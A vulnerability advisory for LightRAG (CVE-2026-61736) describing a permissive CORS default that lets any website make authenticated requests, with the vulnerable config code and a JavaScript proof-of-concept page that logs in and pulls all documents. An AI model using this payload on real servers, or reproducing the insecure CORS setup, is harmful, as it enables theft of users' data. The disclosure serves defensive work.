critical

CVE-2026-61736

PyPI · lightrag-hku

Summary

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

Severity
critical
CVSS
9.3
EPSS
1.4% (p73)
CWE
CWE-942
Also known as
GHSA-6x6h-qqr7-855w
Published
2026-07-20
Updated
2026-07-20

Advisory details

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

References

Related advisories

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Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.